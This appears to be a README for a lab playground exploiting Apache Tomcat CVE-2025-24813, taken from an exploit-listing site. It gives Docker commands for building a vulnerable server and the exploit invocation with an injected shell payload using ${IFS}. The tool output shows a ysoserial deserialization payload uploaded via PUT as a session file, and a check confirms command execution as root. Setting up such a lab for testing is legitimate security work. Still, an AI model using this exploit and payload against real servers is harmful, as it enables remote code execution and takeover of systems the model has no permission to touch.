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## https://sploitus.com/exploit?id=B5F5D93A-3F52-5C3E-BFBC-9F299A1B18F0
Tomcat CVE-2025-24813 playground
================================
Exploit was forked from https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md (did not work for me)

Content
=======
1. *ROOT.war* is a minimal app with one servlet including apache-common-3.1 and spawing a session
2. *ysoserial.jar* taken original from ysoserial repo (https://github.com/frohoff/ysoserial)
3. *Dockerfile* to build a vulnerable installation
4. *CVE_2025_24813.py* actual exlploit

Setup
=====
Build and run the vulnerable tomcat installation
```
$ docker build -t tomcat-cve-2025-24813 .
$ docker run --name tomcat-cve-2025-24813 -it -d -p 8080:8080 tomcat-cve-2025-24813
```

Exploit
=======
```
$ python CVE_2025_24813.py --command 'bash -c echo${IFS}$(id)>/tmp/PWN'  http://localhost:8080

 โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—      โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—
โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•    โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•      โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—
โ–ˆโ–ˆโ•‘     โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ•šโ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•
โ–ˆโ–ˆโ•‘     โ•šโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘ โ•šโ•โ•โ•โ–ˆโ–ˆโ•—
โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘      โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—     โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•
 โ•šโ•โ•โ•โ•โ•โ•  โ•šโ•โ•โ•โ•  โ•šโ•โ•โ•โ•โ•โ•โ•    โ•šโ•โ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•      โ•šโ•โ•โ•โ•โ•โ•โ•     โ•šโ•โ• โ•šโ•โ•โ•โ•โ•  โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•
                          ---=== TOMCAT RCE PLAYGROUND by u238 ===---

[*] Session ID: u238
[+] Server is writable via PUT: http://localhost:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/PWN
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8080/u238.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
```

Check (after exploit)
=====
```
$ podman exec tomcat-cve-2025-24813 cat /tmp/PWN
uid=0(root) gid=0(root) groups=0(root)
```